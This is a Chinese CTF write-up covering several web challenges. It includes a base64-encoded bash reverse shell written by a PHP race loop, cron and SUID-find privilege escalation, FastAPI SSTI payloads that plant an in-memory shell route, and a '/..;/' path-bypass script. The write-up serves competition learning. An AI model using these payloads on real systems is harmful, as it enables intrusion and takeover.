可惜。
不多说了,看看吧。
php_online
审计一下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from flask import Flask, request, session, redirect, url_for, render_template import os import secrets
app = Flask(__name__) app.secret_key = secrets.token_hex(16) working_id = []
@app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': id = request.form['id'] if not id.isalnum() or len(id) != 8: return '无效的ID' session['id'] = id if not os.path.exists(f'/sandbox/{id}'): os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read() return redirect(url_for('sandbox')) return render_template('submit_id.html')
@app.route('/sandbox', methods=['GET', 'POST']) def sandbox(): if request.method == 'GET': if 'id' not in session: return redirect(url_for('index')) else: return render_template('submit_code.html') if request.method == 'POST': if 'id' not in session: return 'no id' user_id = session['id'] if user_id in working_id: return 'task is still running' else: working_id.append(user_id) code = request.form.get('code') os.popen(f'cd /sandbox/{user_id} && rm *').read() os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read() os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read() php_file = open(f'/sandbox/{user_id}/phpcode', 'w') php_file.write(code) php_file.close()
result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read() os.popen(f'cd /sandbox/{user_id} && rm *').read() working_id.remove(user_id)
return result
if __name__ == '__main__': app.run(debug=False, host='0.0.0.0', port=80)
|
其实这道题不算难,做法也很多,共同点是利用rm *
无法删除文件夹的性质,就可以实现在一个沙箱里条件竞争,把另一个沙箱的init.py重写,然后触发init.py。
我是用的重写init.py反弹shell,拿到www-data权限:
开个沙箱EDDIE123和EDDIE321,在沙箱EDDIE123中执行:
1 2 3 4 5 6
| <?php while(1){ system("rm /sandbox/EDDIE321/init.py && echo 'CmltcG9ydCBvczsKb3MucG9wZW4oImJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvdnBzL3BvcnQgMD4mMSciKQ==' | base64 -d > /sandbox/EDDIE321/init.py"); }
?>
|
while(1)是用作循环竞争,使得init.py必然能重写。
然后在EDDIE321中随便执行个echo,按照代码逻辑就能走到sudo -u www-data python3 init.py
,从而实现反弹shell:
ps -aux发现root权限开启了cron,那么我们就想到写定时任务进去,chmod 777 /flag
然后读就完事了。
首先是把/etc/cron.d与另外一个沙箱(这里我还创了个EDDIECRY)软链接,从而下面创建phpcode的时候就能把定时任务写进去。
即在EDDIECRY中写入:
1 2
| * * * * * root chmod 777 /flag
|
phpcode内容加了⼀句php system 执行sudo -l
, 这个是为了阻塞脚本的执行, 使得cron有足够的时间调度计划任务。当然我们也试了while(1)的竞争,但是好像效果不太好emmm,其实也可以写<?php sleep(1000);?>
这种达到效果。
此处当然也可以再次反弹shell,拿到的就是root权限。
等待一段时间,cat /flag就完了。
GoldenHornKing
fastapi的ssti,不出网,过滤数字和%,无回显打内存马。
因为这里用的是fastapi,所以不能用add_url_rule添加内存马,得用add_api_route添加内存马:
1 2 3 4 5 6 7 8 9 10
| import requests url = 'http://eci 2ze870nxuud7kn92ktzy.cloudeci1.ichunqiu.com:8000/calc' payload = r'''app.routes[(dict(e=a)|join|count)].__class__.__init__.__builtins_ _['eval']("app.add_api_route('/shell', lambda x: __import__('os').popen(x).read())", {'app':app})''' resp = requests.get(url, params={'calc_req': payload}) print(resp.text)
|
payload有很多,也可以(来自[随手分享]2024巅峰极客初赛 部分Web (qq.com))
1
| undefinded.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag',lambda:__import__('os').popen('cat /flag').read())")
|
然后访问 /shell?x=cat /flag就可以了。
这里其实还可以用静态目录的方法。
在 FastAPI 中,app.mount() 用来为静态文件指定一个路径。例如,通过 app.mount(“/static”, StaticFiles(directory=”static”), name=”static”) 将静态文件路径设置为 “static” 目录。
那么我们就可以尝试将静态文件目录改为根目录再读flag,payload来自2024巅峰极客挑战赛—WriteUp By EDISEC (qq.com):
1
| app.mount('/static', lipsum.__globals__['__builtins__'].__import__('starlette.staticfiles').staticfiles.StaticFiles(directory='/'), name='static')
|
然后访问<url>/static/flag
交了。
easy_java
黑盒,给了一个base64的反序列化入口,hint是jdk17+CB链。
如果只有个CB链当然很简单,工具都能一把梭。但是套了个jdk17。
看了NU1L战队的wp后,才知道实际上新版本commons-beanutils
⼀般会同时带上commons collections
。
而且题目不出网,所以要打一个内存马进去。
题目会在反序列化前过滤org.apache
开头的类, 但发现可以用utf-8 overlong encoding
绕过。
utf-8 overlong encoding
参考:
JYso/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java at master · qi4L/JYso (github.com)
所以如此打个CC链就出了。
EXP可在NU1L公众号里查看,这里就不给出了。
admin_Test
前台可以弱密码admin/qwe123!@#
,但是也可以直接绕了。
访问/admin.html可以直接拿到文件上传的操作页面:
fuzz一下执行命令处的ban位,发现可用字符为t、*、.、/以及各种数字。
这里容易想到临时文件执行,用到./t*/*
的payload,直接就出了。
比如上传一个1.png,内容为
执行命令处使用./t*/*
,发现权限为ctf。
如法炮制,suid提权发现find可用,直接find提权交了:
1 2
| #!/bin/sh touch /tmp/test && find /tmp/test -exec cat /flag \;
|
old_api
又是jdk17。
这道其实挺可惜的,学长的本地docker通了,但是远程不出网,没来得及写内存马,所以没交上。
给了c3p0和h2的依赖,源码量很大,访问页面也就是api操作页面,审计源码发现v1的AdminController#importPost存在readObject,这里应该就是反序列化入口点。
结合题目信息,很容易想到这道题两个步骤,第一步是绕过v2访问到v1的这个方法触发readObject,第二步是打H2的jdbc反序列化,这里用的就是Jackson-h2的链子。
而且jdk17一般来说都是出的JDBC打法,从几个月前的AliyunCTF-Chain17就可见一斑。
第一步绕过也不算太难,21级的SE学长给出了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import requests
base = "http://localhost:8081/"
session = requests.Session()
r = session.post(base + "/public/register", data={"username": "test", "password": "test"}) print(r.status_code)
r = session.post(base + "/public/login", data={"username": "test", "password": "test"}) print(r.status_code)
r = session.post(base + "/..;/v1/admin/post/import", data={ "stream": "Sakura" }) print(r.text)
|
也就是用/..;/v1/admin/post/import
可以绕过。
接下来就是Jackson + H2的JDBC手法。
(未完待续)